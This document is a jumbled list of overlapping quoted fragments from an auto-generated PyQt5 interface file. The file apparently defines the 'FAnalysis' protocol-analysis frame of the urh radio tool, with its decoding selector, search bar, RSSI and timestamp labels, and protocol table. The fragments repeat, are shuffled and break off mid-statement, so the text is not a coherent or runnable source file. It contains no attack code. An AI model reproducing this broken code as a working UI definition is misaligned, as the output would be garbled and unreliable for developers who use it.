"\"Add a new message type\")) self.btnAddMessagetype.setText(_translate(\"FAnalysis\", \"...\")) self.btnRemoveMessagetype.setToolTip(_translate(\"FAnalysis\", \"Delete current message type\")) self.btnRemoveMessagetype.setText(_translate(\"FAnalysis\",",
"labels in protocol\")) self.btnAnalyze.setText(_translate(\"FAnalysis\", \"Analyze\")) self.lineEditSearch.setPlaceholderText(_translate(\"FAnalysis\", \"Search Pattern\")) self.btnSearchSelectFilter.setText(_translate(\"FAnalysis\", \"Search\")) self.lFilterShown.setText(_translate(\"FAnalysis\", \"shown: 42/108\"))",
"0, 9, 1, 1) self.label_2 = QtWidgets.QLabel(self.frame_3) self.label_2.setObjectName(\"label_2\") self.gridLayout_2.addWidget(self.label_2, 0, 10, 1, 1)",
"self.cbProtoView.addItem(\"\") self.cbProtoView.addItem(\"\") self.verticalLayout.addWidget(self.cbProtoView) self.cbDecoding = QtWidgets.QComboBox(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.cbDecoding.sizePolicy().hasHeightForWidth())",
"= ProtocolTableView(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.tblViewProtocol.sizePolicy().hasHeightForWidth()) self.tblViewProtocol.setSizePolicy(sizePolicy) self.tblViewProtocol.setAcceptDrops(True) self.tblViewProtocol.setAutoFillBackground(True) self.tblViewProtocol.setFrameShape(QtWidgets.QFrame.NoFrame)",
"self.horizontalLayout_3.setObjectName(\"horizontalLayout_3\") self.lBits = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lBits.sizePolicy().hasHeightForWidth()) self.lBits.setSizePolicy(sizePolicy) self.lBits.setMaximumSize(QtCore.QSize(16777215,",
"self.chkBoxShowOnlyDiffs.setObjectName(\"chkBoxShowOnlyDiffs\") self.verticalLayout.addWidget(self.chkBoxShowOnlyDiffs) self.chkBoxOnlyShowLabelsInProtocol = QtWidgets.QCheckBox(self.scrollAreaWidgetContents) self.chkBoxOnlyShowLabelsInProtocol.setObjectName(\"chkBoxOnlyShowLabelsInProtocol\") self.verticalLayout.addWidget(self.chkBoxOnlyShowLabelsInProtocol) self.btnAnalyze = QtWidgets.QToolButton(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,",
"sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lSearchCurrent.sizePolicy().hasHeightForWidth()) self.lSearchCurrent.setSizePolicy(sizePolicy) self.lSearchCurrent.setStyleSheet(\"QLabel\\n\" \"{\\n\" \" qproperty-alignment: AlignCenter;\\n\"",
"self.gridLayout_2.addWidget(self.lineEditSearch, 0, 0, 1, 1) self.btnSearchSelectFilter = QtWidgets.QToolButton(self.frame_3) self.btnSearchSelectFilter.setPopupMode(QtWidgets.QToolButton.MenuButtonPopup) self.btnSearchSelectFilter.setToolButtonStyle(QtCore.Qt.ToolButtonTextOnly) self.btnSearchSelectFilter.setObjectName(\"btnSearchSelectFilter\") self.gridLayout_2.addWidget(self.btnSearchSelectFilter, 0,",
"self.btnRemoveMessagetype.setIcon(icon) self.btnRemoveMessagetype.setObjectName(\"btnRemoveMessagetype\") self.horizontalLayout.addWidget(self.btnRemoveMessagetype) self.gridLayout.addLayout(self.horizontalLayout, 1, 0, 1, 1) self.verticalLayout_2.addWidget(self.splitter) self.retranslateUi(FAnalysis) self.stackedWidgetLogicAnalysis.setCurrentIndex(0) QtCore.QMetaObject.connectSlotsByName(FAnalysis) def",
"320, 514)) self.scrollAreaWidgetContents.setObjectName(\"scrollAreaWidgetContents\") self.verticalLayout = QtWidgets.QVBoxLayout(self.scrollAreaWidgetContents) self.verticalLayout.setContentsMargins(0, 0, 0, 0) self.verticalLayout.setObjectName(\"verticalLayout\") self.horizontalLayout_2 =",
"1) self.lFilterShown = QtWidgets.QLabel(self.frame_3) self.lFilterShown.setObjectName(\"lFilterShown\") self.gridLayout_2.addWidget(self.lFilterShown, 0, 2, 1, 1) self.btnPrevSearch = QtWidgets.QToolButton(self.frame_3)",
"0, 14, 1, 1) self.verticalLayout_3.addLayout(self.gridLayout_2) self.tblViewProtocol = ProtocolTableView(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0)",
"self.frame.setObjectName(\"frame\") self.gridLayout = QtWidgets.QGridLayout(self.frame) self.gridLayout.setObjectName(\"gridLayout\") self.label = QtWidgets.QLabel(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0)",
"QtWidgets.QFrame(self.frame_3) self.line.setFrameShape(QtWidgets.QFrame.VLine) self.line.setFrameShadow(QtWidgets.QFrame.Sunken) self.line.setObjectName(\"line\") self.gridLayout_2.addWidget(self.line, 0, 9, 1, 1) self.label_2 = QtWidgets.QLabel(self.frame_3) self.label_2.setObjectName(\"label_2\")",
"self.label_3.setText(_translate(\"FAnalysis\", \"Timestamp:\")) self.lTime.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Message</span><span style=\\\" font-weight:600;\\\">Start</span> is the point in",
"QtWidgets.QFrame(self.splitter_2) self.frame_3.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_3.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_3.setObjectName(\"frame_3\") self.verticalLayout_3 = QtWidgets.QVBoxLayout(self.frame_3) self.verticalLayout_3.setObjectName(\"verticalLayout_3\") self.gridLayout_2 = QtWidgets.QGridLayout() self.gridLayout_2.setObjectName(\"gridLayout_2\") self.lineEditSearch",
"self.horizontalLayout.addWidget(self.cbMessagetypes) self.btnMessagetypeSettings = QtWidgets.QToolButton(self.frame) icon = QtGui.QIcon.fromTheme(\"preferences-other\") self.btnMessagetypeSettings.setIcon(icon) self.btnMessagetypeSettings.setObjectName(\"btnMessagetypeSettings\") self.horizontalLayout.addWidget(self.btnMessagetypeSettings) self.btnAddMessagetype = QtWidgets.QToolButton(self.frame)",
"\"/\")) self.lSearchTotal.setText(_translate(\"FAnalysis\", \"-\")) self.btnNextSearch.setText(_translate(\"FAnalysis\", \">\")) self.label_2.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Received Signal Strength Indicator</span>",
"lost! from PyQt5 import QtCore, QtGui, QtWidgets class Ui_FAnalysis(object): def setupUi(self, FAnalysis): FAnalysis.setObjectName(\"FAnalysis\")",
"_translate(\"FAnalysis\", \"Manchester\")) self.cbDecoding.setItemText(2, _translate(\"FAnalysis\", \"Manchester II\")) self.cbDecoding.setItemText(3, _translate(\"FAnalysis\", \"Differential Manchester\")) self.cbDecoding.setItemText(4, _translate(\"FAnalysis\", \"...\"))",
"self.line.setFrameShape(QtWidgets.QFrame.VLine) self.line.setFrameShadow(QtWidgets.QFrame.Sunken) self.line.setObjectName(\"line\") self.gridLayout_2.addWidget(self.line, 0, 9, 1, 1) self.label_2 = QtWidgets.QLabel(self.frame_3) self.label_2.setObjectName(\"label_2\") self.gridLayout_2.addWidget(self.label_2,",
"self.verticalLayout_8.setObjectName(\"verticalLayout_8\") self.scrollArea = QtWidgets.QScrollArea(self.frame_4) self.scrollArea.setWidgetResizable(True) self.scrollArea.setObjectName(\"scrollArea\") self.scrollAreaWidgetContents = QtWidgets.QWidget() self.scrollAreaWidgetContents.setGeometry(QtCore.QRect(0, 0, 320, 514))",
"sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lSearchTotal.sizePolicy().hasHeightForWidth()) self.lSearchTotal.setSizePolicy(sizePolicy) self.lSearchTotal.setStyleSheet(\"QLabel\\n\" \"{\\n\" \" qproperty-alignment: AlignCenter;\\n\" \"}\") self.lSearchTotal.setObjectName(\"lSearchTotal\") self.gridLayout_2.addWidget(self.lSearchTotal, 0,",
"self.pageButtonAnalyzer = QtWidgets.QWidget() self.pageButtonAnalyzer.setObjectName(\"pageButtonAnalyzer\") self.verticalLayout_5 = QtWidgets.QVBoxLayout(self.pageButtonAnalyzer) self.verticalLayout_5.setContentsMargins(0, 0, 0, 0) self.verticalLayout_5.setObjectName(\"verticalLayout_5\") self.stackedWidgetLogicAnalysis.addWidget(self.pageButtonAnalyzer)",
"20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_3.addItem(spacerItem1) self.lNumSelectedColumns = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0)",
"current message type\")) self.btnRemoveMessagetype.setText(_translate(\"FAnalysis\", \"...\")) from urh.ui.views.LabelValueTableView import LabelValueTableView from urh.ui.views.ProtocolLabelListView import ProtocolLabelListView",
"relative time (+ ...) from the previous message is shown.</p></body></html>\")) self.lTime.setText(_translate(\"FAnalysis\", \"0 (+0)\"))",
"= QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_3.addItem(spacerItem1) self.lNumSelectedColumns = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Preferred)",
"0, 0, 0) self.verticalLayout.setObjectName(\"verticalLayout\") self.horizontalLayout_2 = QtWidgets.QHBoxLayout() self.horizontalLayout_2.setObjectName(\"horizontalLayout_2\") self.label_5 = QtWidgets.QLabel(self.scrollAreaWidgetContents) self.label_5.setObjectName(\"label_5\") self.horizontalLayout_2.addWidget(self.label_5)",
"sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lTime.sizePolicy().hasHeightForWidth()) self.lTime.setSizePolicy(sizePolicy) self.lTime.setTextFormat(QtCore.Qt.PlainText) self.lTime.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.lTime.setObjectName(\"lTime\") self.gridLayout_2.addWidget(self.lTime, 0, 14, 1, 1) self.verticalLayout_3.addLayout(self.gridLayout_2) self.tblViewProtocol",
"self.btnSearchSelectFilter.setObjectName(\"btnSearchSelectFilter\") self.gridLayout_2.addWidget(self.btnSearchSelectFilter, 0, 1, 1, 1) self.lFilterShown = QtWidgets.QLabel(self.frame_3) self.lFilterShown.setObjectName(\"lFilterShown\") self.gridLayout_2.addWidget(self.lFilterShown, 0, 2,",
"...) from the previous message is shown.</p></body></html>\")) self.lTime.setText(_translate(\"FAnalysis\", \"0 (+0)\")) self.lBits.setText(_translate(\"FAnalysis\", \"Bit:\")) self.lHex.setText(_translate(\"FAnalysis\",",
"QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lSearchCurrent.sizePolicy().hasHeightForWidth()) self.lSearchCurrent.setSizePolicy(sizePolicy) self.lSearchCurrent.setStyleSheet(\"QLabel\\n\" \"{\\n\" \" qproperty-alignment: AlignCenter;\\n\" \"}\") self.lSearchCurrent.setObjectName(\"lSearchCurrent\") self.gridLayout_2.addWidget(self.lSearchCurrent,",
"view here.</p></body></html>\")) self.cbProtoView.setItemText(0, _translate(\"FAnalysis\", \"Bits\")) self.cbProtoView.setItemText(1, _translate(\"FAnalysis\", \"Hex\")) self.cbProtoView.setItemText(2, _translate(\"FAnalysis\", \"ASCII\")) self.cbDecoding.setItemText(0, _translate(\"FAnalysis\",",
"self.label.setObjectName(\"label\") self.gridLayout.addWidget(self.label, 0, 0, 1, 1) self.tblLabelValues = LabelValueTableView(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Preferred)",
"self.horizontalLayout_2.addWidget(self.btnSaveProto) self.verticalLayout.addLayout(self.horizontalLayout_2) self.treeViewProtocols = ProtocolTreeView(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.treeViewProtocols.sizePolicy().hasHeightForWidth()) self.treeViewProtocols.setSizePolicy(sizePolicy)",
"self.cbDecoding.setItemText(2, _translate(\"FAnalysis\", \"Manchester II\")) self.cbDecoding.setItemText(3, _translate(\"FAnalysis\", \"Differential Manchester\")) self.cbDecoding.setItemText(4, _translate(\"FAnalysis\", \"...\")) self.lEncodingErrors.setText(_translate(\"FAnalysis\", \"Decoding",
"QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lEncodingErrors.sizePolicy().hasHeightForWidth()) self.lEncodingErrors.setSizePolicy(sizePolicy) self.lEncodingErrors.setObjectName(\"lEncodingErrors\") self.verticalLayout.addWidget(self.lEncodingErrors) self.lDecodingErrorsValue = QtWidgets.QLabel(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,",
"2, 1, 1) self.btnPrevSearch = QtWidgets.QToolButton(self.frame_3) self.btnPrevSearch.setEnabled(False) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0)",
"sizePolicy.setHeightForWidth(self.lDecimal.sizePolicy().hasHeightForWidth()) self.lDecimal.setSizePolicy(sizePolicy) self.lDecimal.setMaximumSize(QtCore.QSize(16777215, 15)) self.lDecimal.setObjectName(\"lDecimal\") self.horizontalLayout_3.addWidget(self.lDecimal) self.lDecimalSelection = QtWidgets.QLineEdit(self.frame_3) self.lDecimalSelection.setMaximumSize(QtCore.QSize(16777215, 20)) self.lDecimalSelection.setAcceptDrops(False) self.lDecimalSelection.setReadOnly(True)",
"0, 0, 0) self.verticalLayout_6.setObjectName(\"verticalLayout_6\") self.progressBarLogicAnalyzer = QtWidgets.QProgressBar(self.pageProgressBar) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0)",
"self.verticalLayout_8 = QtWidgets.QVBoxLayout(self.frame_4) self.verticalLayout_8.setObjectName(\"verticalLayout_8\") self.scrollArea = QtWidgets.QScrollArea(self.frame_4) self.scrollArea.setWidgetResizable(True) self.scrollArea.setObjectName(\"scrollArea\") self.scrollAreaWidgetContents = QtWidgets.QWidget() self.scrollAreaWidgetContents.setGeometry(QtCore.QRect(0,",
"qproperty-alignment: AlignCenter;\\n\" \"}\") self.lSearchCurrent.setObjectName(\"lSearchCurrent\") self.gridLayout_2.addWidget(self.lSearchCurrent, 0, 4, 1, 1) self.lSlash = QtWidgets.QLabel(self.frame_3) sizePolicy",
"self.btnAddMessagetype.setObjectName(\"btnAddMessagetype\") self.horizontalLayout.addWidget(self.btnAddMessagetype) self.btnRemoveMessagetype = QtWidgets.QToolButton(self.frame) icon = QtGui.QIcon.fromTheme(\"list-remove\") self.btnRemoveMessagetype.setIcon(icon) self.btnRemoveMessagetype.setObjectName(\"btnRemoveMessagetype\") self.horizontalLayout.addWidget(self.btnRemoveMessagetype) self.gridLayout.addLayout(self.horizontalLayout, 1,",
"QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.cbProtoView.sizePolicy().hasHeightForWidth()) self.cbProtoView.setSizePolicy(sizePolicy) self.cbProtoView.setObjectName(\"cbProtoView\") self.cbProtoView.addItem(\"\") self.cbProtoView.addItem(\"\") self.cbProtoView.addItem(\"\") self.verticalLayout.addWidget(self.cbProtoView) self.cbDecoding = QtWidgets.QComboBox(self.scrollAreaWidgetContents)",
"self.listViewLabelNames.setAcceptDrops(False) self.listViewLabelNames.setObjectName(\"listViewLabelNames\") self.gridLayout.addWidget(self.listViewLabelNames, 2, 0, 1, 1) self.lblLabelValues = QtWidgets.QLabel(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,",
"of the current message.</p></body></html>\")) self.lblRSSI.setText(_translate(\"FAnalysis\", \"1.04\")) self.label_3.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Message Start</span> is",
"\"...\")) from urh.ui.views.LabelValueTableView import LabelValueTableView from urh.ui.views.ProtocolLabelListView import ProtocolLabelListView from urh.ui.views.ProtocolTableView import ProtocolTableView",
"QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lSearchCurrent.sizePolicy().hasHeightForWidth()) self.lSearchCurrent.setSizePolicy(sizePolicy) self.lSearchCurrent.setStyleSheet(\"QLabel\\n\" \"{\\n\" \" qproperty-alignment: AlignCenter;\\n\" \"}\") self.lSearchCurrent.setObjectName(\"lSearchCurrent\")",
"self.lineEditSearch.setAcceptDrops(False) self.lineEditSearch.setClearButtonEnabled(True) self.lineEditSearch.setObjectName(\"lineEditSearch\") self.gridLayout_2.addWidget(self.lineEditSearch, 0, 0, 1, 1) self.btnSearchSelectFilter = QtWidgets.QToolButton(self.frame_3) self.btnSearchSelectFilter.setPopupMode(QtWidgets.QToolButton.MenuButtonPopup) self.btnSearchSelectFilter.setToolButtonStyle(QtCore.Qt.ToolButtonTextOnly)",
"All changes made in this file will be lost! from PyQt5 import QtCore,",
"self.btnAnalyze.setToolButtonStyle(QtCore.Qt.ToolButtonTextOnly) self.btnAnalyze.setObjectName(\"btnAnalyze\") self.verticalLayout.addWidget(self.btnAnalyze) self.stackedWidgetLogicAnalysis = QtWidgets.QStackedWidget(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.stackedWidgetLogicAnalysis.sizePolicy().hasHeightForWidth())",
"QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.label.sizePolicy().hasHeightForWidth()) self.label.setSizePolicy(sizePolicy) self.label.setObjectName(\"label\") self.gridLayout.addWidget(self.label, 0, 0, 1, 1) self.tblLabelValues",
"= QtGui.QIcon.fromTheme(\"list-remove\") self.btnRemoveMessagetype.setIcon(icon) self.btnRemoveMessagetype.setObjectName(\"btnRemoveMessagetype\") self.horizontalLayout.addWidget(self.btnRemoveMessagetype) self.gridLayout.addLayout(self.horizontalLayout, 1, 0, 1, 1) self.verticalLayout_2.addWidget(self.splitter) self.retranslateUi(FAnalysis) self.stackedWidgetLogicAnalysis.setCurrentIndex(0)",
"Strength Indicator</span> indicates the average signal power of the current message.</p></body></html>\")) self.label_2.setText(_translate(\"FAnalysis\", \"RSSI:\"))",
"self.btnPrevSearch.setIcon(icon) self.btnPrevSearch.setObjectName(\"btnPrevSearch\") self.gridLayout_2.addWidget(self.btnPrevSearch, 0, 3, 1, 1) self.lSearchCurrent = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred,",
"QtWidgets.QLabel(self.frame_3) self.label_2.setObjectName(\"label_2\") self.gridLayout_2.addWidget(self.label_2, 0, 10, 1, 1) self.lblRSSI = QtWidgets.QLabel(self.frame_3) self.lblRSSI.setObjectName(\"lblRSSI\") self.gridLayout_2.addWidget(self.lblRSSI, 0,",
"24) self.progressBarLogicAnalyzer.setObjectName(\"progressBarLogicAnalyzer\") self.verticalLayout_6.addWidget(self.progressBarLogicAnalyzer) self.stackedWidgetLogicAnalysis.addWidget(self.pageProgressBar) self.verticalLayout.addWidget(self.stackedWidgetLogicAnalysis) self.scrollArea.setWidget(self.scrollAreaWidgetContents) self.verticalLayout_8.addWidget(self.scrollArea) self.frame_3 = QtWidgets.QFrame(self.splitter_2) self.frame_3.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_3.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_3.setObjectName(\"frame_3\")",
"self.lHex.setMaximumSize(QtCore.QSize(16777215, 15)) self.lHex.setObjectName(\"lHex\") self.horizontalLayout_3.addWidget(self.lHex) self.lHexSelection = QtWidgets.QLineEdit(self.frame_3) self.lHexSelection.setMaximumSize(QtCore.QSize(16777215, 20)) self.lHexSelection.setAcceptDrops(False) self.lHexSelection.setReadOnly(True) self.lHexSelection.setObjectName(\"lHexSelection\") self.horizontalLayout_3.addWidget(self.lHexSelection)",
"FAnalysis.setWindowTitle(_translate(\"FAnalysis\", \"Frame\")) self.label_5.setText(_translate(\"FAnalysis\", \"Protocols:\")) self.btnSaveProto.setText(_translate(\"FAnalysis\", \"Save current protocol..\")) self.label_4.setText(_translate(\"FAnalysis\", \"Participants:\")) self.cbProtoView.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>Set the",
"protocol fields here. To add custom field types use Rightclick -> Edit.\")) self.lblLabelValues.setText(_translate(\"FAnalysis\",",
"QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lDecodingErrorsValue.sizePolicy().hasHeightForWidth()) self.lDecodingErrorsValue.setSizePolicy(sizePolicy) self.lDecodingErrorsValue.setObjectName(\"lDecodingErrorsValue\") self.verticalLayout.addWidget(self.lDecodingErrorsValue) self.labelDecodingState = QtWidgets.QLabel(self.scrollAreaWidgetContents) self.labelDecodingState.setObjectName(\"labelDecodingState\") self.verticalLayout.addWidget(self.labelDecodingState) self.cbShowDiffs",
"self.horizontalLayout_3.addWidget(self.lNumSelectedColumns) self.lColumnsSelectedText = QtWidgets.QLabel(self.frame_3) self.lColumnsSelectedText.setObjectName(\"lColumnsSelectedText\") self.horizontalLayout_3.addWidget(self.lColumnsSelectedText) self.verticalLayout_3.addLayout(self.horizontalLayout_3) self.verticalLayout_4.addWidget(self.splitter_2) self.frame = QtWidgets.QFrame(self.splitter) self.frame.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame.setFrameShadow(QtWidgets.QFrame.Raised)",
"QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(FAnalysis.sizePolicy().hasHeightForWidth()) FAnalysis.setSizePolicy(sizePolicy) FAnalysis.setFocusPolicy(QtCore.Qt.ClickFocus) FAnalysis.setAcceptDrops(True) FAnalysis.setFrameShape(QtWidgets.QFrame.StyledPanel) FAnalysis.setFrameShadow(QtWidgets.QFrame.Raised) FAnalysis.setLineWidth(1) FAnalysis.setMidLineWidth(0) self.verticalLayout_2 =",
"= QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.stackedWidgetLogicAnalysis.sizePolicy().hasHeightForWidth()) self.stackedWidgetLogicAnalysis.setSizePolicy(sizePolicy) self.stackedWidgetLogicAnalysis.setObjectName(\"stackedWidgetLogicAnalysis\") self.pageButtonAnalyzer = QtWidgets.QWidget() self.pageButtonAnalyzer.setObjectName(\"pageButtonAnalyzer\") self.verticalLayout_5",
"\"{\\n\" \" qproperty-alignment: AlignCenter;\\n\" \"}\") self.lSearchTotal.setObjectName(\"lSearchTotal\") self.gridLayout_2.addWidget(self.lSearchTotal, 0, 6, 1, 1) self.btnNextSearch =",
"QtWidgets.QScrollArea(self.frame_4) self.scrollArea.setWidgetResizable(True) self.scrollArea.setObjectName(\"scrollArea\") self.scrollAreaWidgetContents = QtWidgets.QWidget() self.scrollAreaWidgetContents.setGeometry(QtCore.QRect(0, 0, 320, 514)) self.scrollAreaWidgetContents.setObjectName(\"scrollAreaWidgetContents\") self.verticalLayout =",
"self.label_2.setObjectName(\"label_2\") self.gridLayout_2.addWidget(self.label_2, 0, 10, 1, 1) self.lblRSSI = QtWidgets.QLabel(self.frame_3) self.lblRSSI.setObjectName(\"lblRSSI\") self.gridLayout_2.addWidget(self.lblRSSI, 0, 11,",
"signal power of the current message.</p></body></html>\")) self.lblRSSI.setText(_translate(\"FAnalysis\", \"1.04\")) self.label_3.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Message",
"is shown.</p></body></html>\")) self.lTime.setText(_translate(\"FAnalysis\", \"0 (+0)\")) self.lBits.setText(_translate(\"FAnalysis\", \"Bit:\")) self.lHex.setText(_translate(\"FAnalysis\", \"Hex:\")) self.lDecimal.setText(_translate(\"FAnalysis\", \"Decimal:\")) self.lNumSelectedColumns.setText(_translate(\"FAnalysis\", \"0\"))",
"self.btnRemoveMessagetype.setText(_translate(\"FAnalysis\", \"...\")) from urh.ui.views.LabelValueTableView import LabelValueTableView from urh.ui.views.ProtocolLabelListView import ProtocolLabelListView from urh.ui.views.ProtocolTableView import",
"self.tblViewProtocol.setAcceptDrops(True) self.tblViewProtocol.setAutoFillBackground(True) self.tblViewProtocol.setFrameShape(QtWidgets.QFrame.NoFrame) self.tblViewProtocol.setFrameShadow(QtWidgets.QFrame.Sunken) self.tblViewProtocol.setLineWidth(1) self.tblViewProtocol.setAutoScroll(True) self.tblViewProtocol.setDragDropMode(QtWidgets.QAbstractItemView.DropOnly) self.tblViewProtocol.setAlternatingRowColors(True) self.tblViewProtocol.setSelectionMode(QtWidgets.QAbstractItemView.ExtendedSelection) self.tblViewProtocol.setTextElideMode(QtCore.Qt.ElideNone) self.tblViewProtocol.setVerticalScrollMode(QtWidgets.QAbstractItemView.ScrollPerPixel) self.tblViewProtocol.setHorizontalScrollMode(QtWidgets.QAbstractItemView.ScrollPerPixel) self.tblViewProtocol.setShowGrid(False)",
"previous message is shown.</p></body></html>\")) self.label_3.setText(_translate(\"FAnalysis\", \"Timestamp:\")) self.lTime.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Message</span><span style=\\\" font-weight:600;\\\">Start</span>",
"spacerItem = QtWidgets.QSpacerItem(60, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.gridLayout_2.addItem(spacerItem, 0, 8, 1, 1) self.line =",
"self.verticalLayout_6.setObjectName(\"verticalLayout_6\") self.progressBarLogicAnalyzer = QtWidgets.QProgressBar(self.pageProgressBar) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.progressBarLogicAnalyzer.sizePolicy().hasHeightForWidth()) self.progressBarLogicAnalyzer.setSizePolicy(sizePolicy) self.progressBarLogicAnalyzer.setProperty(\"value\",",
"16777215)) icon = QtGui.QIcon.fromTheme(\"go-next\") self.btnNextSearch.setIcon(icon) self.btnNextSearch.setObjectName(\"btnNextSearch\") self.gridLayout_2.addWidget(self.btnNextSearch, 0, 7, 1, 1) spacerItem =",
"sizePolicy.setHeightForWidth(self.lTime.sizePolicy().hasHeightForWidth()) self.lTime.setSizePolicy(sizePolicy) self.lTime.setTextFormat(QtCore.Qt.PlainText) self.lTime.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.lTime.setObjectName(\"lTime\") self.gridLayout_2.addWidget(self.lTime, 0, 14, 1, 1) self.verticalLayout_3.addLayout(self.gridLayout_2) self.tblViewProtocol =",
"changes made in this file will be lost! from PyQt5 import QtCore, QtGui,",
"self.labelDecodingState = QtWidgets.QLabel(self.scrollAreaWidgetContents) self.labelDecodingState.setObjectName(\"labelDecodingState\") self.verticalLayout.addWidget(self.labelDecodingState) self.cbShowDiffs = QtWidgets.QCheckBox(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0)",
